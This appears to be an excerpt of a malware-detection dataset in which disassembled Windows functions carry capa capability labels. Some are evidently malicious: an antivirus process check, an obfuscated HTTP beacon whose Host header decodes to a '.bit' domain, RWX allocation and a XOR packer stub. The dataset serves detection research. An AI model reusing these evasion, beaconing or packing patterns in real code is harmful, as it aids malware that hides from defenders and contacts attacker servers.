joyce8/EMBER2024-capa huggingface dataset:
Function at 0x197520
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x1975e2
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x1975ed
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1976dd
lea ecx, [ecx]
test esi, esi
jne 0x1976b7
add edi, 0x24
jmp 0x197620
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x19763a
inc esi
cmp esi, 0xe
jb 0x197620
mov esi, dword [ebp - 4]
jmp 0x197697
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x19765f
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x1a07d0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x197670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x1a07d0
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1976b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x197610
cmp dword [ebp - 0xc], 0
je 0x1976d5
mov eax, dword [ebx]
cmp word [eax], 0
je 0x1976d5
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x197707
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1977f0
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x6f004d
push eax
mov dword [ebp - 0xd8], 0x69007a
mov dword [ebp - 0xd4], 0x6c006c
mov dword [ebp - 0xd0], 0x2f0061
mov dword [ebp - 0xcc], 0x2e0035
mov dword [ebp - 0xc8], 0x200030
mov dword [ebp - 0xc4], 0x570028
mov dword [ebp - 0xc0], 0x6e0069
mov dword [ebp - 0xbc], 0x6f0064
mov dword [ebp - 0xb8], 0x730077
mov dword [ebp - 0xb4], 0x4e0020
mov dword [ebp - 0xb0], 0x200054
mov dword [ebp - 0xac], 0x2e0036
mov dword [ebp - 0xa8], 0x3b0031
mov dword [ebp - 0xa4], 0x570020
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x340036
mov dword [ebp - 0x98], 0x200029
mov dword [ebp - 0x94], 0x700041
mov dword [ebp - 0x90], 0x6c0070
mov dword [ebp - 0x8c], 0x570065
mov dword [ebp - 0x88], 0x620065
mov dword [ebp - 0x84], 0x69004b
mov dword [ebp - 0x80], 0x2f0074
mov dword [ebp - 0x7c], 0x330035
mov dword [ebp - 0x78], 0x2e0037
mov dword [ebp - 0x74], 0x360033
mov dword [ebp - 0x70], 0x280020
mov dword [ebp - 0x6c], 0x48004b
mov dword [ebp - 0x68], 0x4d0054
mov dword [ebp - 0x64], 0x2c004c
mov dword [ebp - 0x60], 0x6c0020
mov dword [ebp - 0x5c], 0x6b0069
mov dword [ebp - 0x58], 0x200065
mov dword [ebp - 0x54], 0x650047
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x29006f
mov dword [ebp - 0x48], 0x430020
mov dword [ebp - 0x44], 0x720068
mov dword [ebp - 0x40], 0x6d006f
mov dword [ebp - 0x3c], 0x2f0065
mov dword [ebp - 0x38], 0x350035
mov dword [ebp - 0x34], 0x30002e
mov dword [ebp - 0x30], 0x32002e
mov dword [ebp - 0x2c], 0x380038
mov dword [ebp - 0x28], 0x2e0033
mov dword [ebp - 0x24], 0x370038
mov dword [ebp - 0x20], 0x530020
mov dword [ebp - 0x1c], 0x660061
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x2f0069
mov dword [ebp - 0x10], 0x330035
mov dword [ebp - 0xc], 0x2e0037
mov dword [ebp - 8], 0x360033
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0x1979f2
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0xdc]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x197a00
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x197a19
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.001977f0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], esi
test esi, esi
jne 0x197a51
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x1a0330
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x197b72
xor eax, eax
mov dword [ebp - 0x3c], 0x6f0048
push eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x3c]
push 0xffffffffffffffff
push eax
push edi
mov dword [ebp - 0x38], 0x740073
mov dword [ebp - 0x34], 0x20003a
mov dword [ebp - 0x30], 0x6f006e
mov dword [ebp - 0x2c], 0x6f006d
mov dword [ebp - 0x28], 0x650072
mov dword [ebp - 0x24], 0x610072
mov dword [ebp - 0x20], 0x73006e
mov dword [ebp - 0x1c], 0x6d006f
mov dword [ebp - 0x18], 0x62002e
mov dword [ebp - 0x14], 0x740069
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x197b72
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x197b6c
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x197b72
lea esp, [esp]
mov eax, dword [ebp + 8]
test eax, eax
je 0x197b72
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 4], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x197b40
jmp 0x197b72
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x197c60
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x197d79
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x197c90
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x197d82
cmp edi, ebx
jae 0x197d82
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x197d17
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x197d5e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x197d5e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x197d5e
xor ecx, ecx
test edi, edi
je 0x197d57
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x197d41
mov ebx, 1
jmp 0x197d60
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x197db0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x197ea2
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x197de0
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x197eab
cmp dword [ebp - 8], ebx
jae 0x197eab
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x197e65
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x197e89
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x197e89
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3a123148
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x29ae3677
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x412a6c
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x412b03
push dword fs:[edx]
mov dword fs:[edx], esp
mov ecx, eax
mov dl, 1
mov eax, dword [sym.imp.adortl60.bpl__Adodb_TADOQuery_]
call sub.adortl60.bpl__Adodb_TADOQuery__bctr_qqrp18Classes_TComponent
mov ebx, eax
call sub.VEDatasets.bpl__Vedataset_Connection_qqrv
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x268]
lea eax, [ebp - 4]
push eax
call sub.VEDatasets.bpl__Vedataset_FirmaNo_qqrv
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
call sub.VEDatasets.bpl__Vedataset_DonemNo_qqrv
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0x14]
mov ecx, 1
mov eax, 0x412b1c
call sub.rtl60.bpl__Sysutils_Format_qqrx17System_AnsiStringpx14System_TVarRecxi
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call sub.adortl60.bpl__Adodb_TADOQuery_GetSQL_qqrv
pop edx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, ebx
call sub.dbrtl60.bpl__Db_TDataSet_Open_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412b0a
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret

Function at 0x41f8c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41f924
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__Sysutils_FileExists_qqrx17System_AnsiString
test al, al
je 0x41f90e
push 3
push 0x41f930
push 0x41f930
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
push 0x41f934
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f92b
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret
Function at 0x110013f0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x11064c1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], esi
test esi, esi
jne 0x1100142c
pop edi
mov dword [ebx], esi
lea eax, [esi + 1]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.110278cd
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x1100144a
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.110278cd
mov esp, ebp
pop ebp
ret
push 2
push 0xc
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
test eax, eax
je 0x11001437
push edi
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
cmp dword [ebp + 0x18], 0
je 0x11001473
mov ecx, dword [ebp - 0xc]
lea esi, [eax + ecx + 8]
jmp 0x1100147b
mov esi, dword [ebp - 0xc]
sub esi, eax
sub esi, 8
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebx], eax
test eax, eax
je 0x11001437
push 2
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
mov esi, eax
test esi, esi
je 0x1100151e
xor edi, edi
cmp dword [ebp - 0x10], edi
jbe 0x110014ff
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x1c]
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov esi, eax
test esi, esi
je 0x1100151e
cmp dword [ebp + 0x18], 0
jne 0x110014dd
mov eax, dword [ebp - 0x1c]
cmp byte [eax], 0
jne 0x110014e0
mov ecx, dword [ebp - 0x14]
add eax, 8
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x110014f9
mov eax, dword [ebp - 0x1c]
movzx edx, word [eax + 2]
push edx
push eax
mov eax, dword [ebx]
push 0
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_AddAce]
mov esi, eax
test esi, esi
je 0x1100151e
inc edi
cmp edi, dword [ebp - 0x10]
jb 0x110014a8
cmp dword [ebp + 0x18], 0
je 0x1100151a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebx]
push ecx
push edx
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
mov esi, eax
test esi, esi
jne 0x11001527
mov eax, dword [ebx]
test eax, eax
je 0x11001540
push eax
jmp 0x11001531
cmp dword [ebp + 0x1c], 0
je 0x11001540
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.110278cd
mov esp, ebp
pop ebp
ret
Function at 0x11001c10
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x11064c1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push ecx
mov dword [ebp - 0x128], ecx
mov ecx, dword [ebp + 0x20]
push ecx
mov ecx, dword [ebp + 0x14]
push edx
push ebx
push ecx
push edi
push esi
push eax
mov dword [ebp - 0x120], eax
call fcn.11001b80
add esp, 0x20
mov dword [ebp - 0x124], eax
cmp eax, 0x2e4
jne 0x11001d1b
push 0x114
lea edx, [ebp - 0x118]
push 0
push edx
call fcn.110278e0
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x114], 6
jb 0x11001d15
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x120]
push ecx
push 4
lea edx, [ebp - 0x11c]
push edx
push 0x13
push eax
mov dword [ebp - 0x11c], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [ebp - 0x11c]
test eax, eax
je 0x11001d15
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp + 0x20]
push ecx
mov ecx, dword [ebp + 0x1c]
push edx
mov edx, dword [ebp + 0x14]
push ecx
push ebx
push edx
push edi
push esi
push eax
call fcn.11001c10
mov esi, eax
mov eax, dword [ebp - 0x11c]
add esp, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.110278cd
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.110278cd
mov esp, ebp
pop ebp
ret
Function at 0x11001d50
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x11064c1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x20c]
mov esi, ecx
xor edi, edi
push eax
push edi
mov dword [esi], vtable.CSymbolEngine.0
mov dword [esi + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x11001dcd
lea ecx, [ebp - 0x20c]
push 0x5c
push ecx
call fcn.1102798d
add esp, 8
test eax, eax
je 0x11001dcd
mov ecx, str.dbghelp.dll
lea edx, [eax + 2]
sub edx, ecx
nop
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x11001db0
lea edi, [ebp - 0x20c]
mov edx, edi
push edx
call ebx
mov dword [esi + 0x20], eax
cmp dword [esi + 0x20], 0
jne 0x11001ded
mov edi, str.DBGHELP.DLL
push edi
call ebx
mov dword [esi + 0x20], eax
test eax, eax
jne 0x11001ded
mov edi, str.IMAGEHLP.DLL
push edi
call ebx
mov dword [esi + 0x20], eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.SymGetLineFromAddr
push edi
call ebx
xor ecx, ecx
mov dword [esi + 8], eax
cmp eax, ecx
jne 0x11001e1b
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], ecx
mov dword [esi + 0x18], ecx
jmp 0x11001e47
push str.SymGetLineFromName
push edi
call ebx
push str.SymGetLineNext
push edi
mov dword [esi + 0xc], eax
call ebx
push str.SymGetLinePrev
push edi
mov dword [esi + 0x10], eax
call ebx
push str.SymMatchFileName
push edi
mov dword [esi + 0x14], eax
call ebx
mov dword [esi + 0x18], eax
push str.StackWalk
push edi
call ebx
push str.SymCleanup
push edi
mov dword [esi + 0x24], eax
call ebx
push str.SymLoadModule
push edi
mov dword [esi + 0x30], eax
call ebx
push str.SymInitialize
push edi
mov dword [esi + 0x3c], eax
call ebx
push str.SymRefreshModuleList
push edi
mov dword [esi + 0x28], eax
call ebx
push str.SymGetOptions
push edi
mov dword [esi + 0x2c], eax
call ebx
push str.SymSetOptions
push edi
mov dword [esi + 0x38], eax
call ebx
push str.SymGetModuleInfo
push edi
mov dword [esi + 0x34], eax
call ebx
push str.SymGetSymFromAddr
push edi
mov dword [esi + 0x40], eax
call ebx
push str.SymFunctionTableAccess
push edi
mov dword [esi + 0x44], eax
call ebx
push str.MiniDumpWriteDump
push edi
mov dword [esi + 0x48], eax
call ebx
mov ecx, dword [ebp - 4]
mov dword [esi + 0x1c], eax
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.110278cd
mov esp, ebp
pop ebp
ret
Function at 0x11001f00
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x11064c1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x20c]
mov dword [edi], 0
push eax
mov dword [ebx], 0
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x11001f98
lea ecx, [esi + esi]
push ecx
call fcn.11027a34
mov edx, dword [ebp - 0x218]
add esp, 4
push eax
push esi
mov dword [ebp - 0x210], eax
push edx
lea eax, [ebp - 0x20c]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
mov ecx, dword [ebp - 0x210]
test eax, eax
jne 0x11001fad
push ecx
call fcn.110279bb
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.110278cd
mov esp, ebp
pop ebp
ret 0xc
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0x214]
push eax
push 0x11052ca4
push ecx
call sub.VERSION.dll_VerQueryValueW
mov esi, eax
cmp esi, 1
jne 0x11001fdd
mov eax, dword [ebp - 0x214]
mov edx, dword [eax + 8]
mov dword [edi], edx
mov eax, dword [eax + 0xc]
mov dword [ebx], eax
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.110279bb
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.110278cd
mov esp, ebp
pop ebp
ret 0xc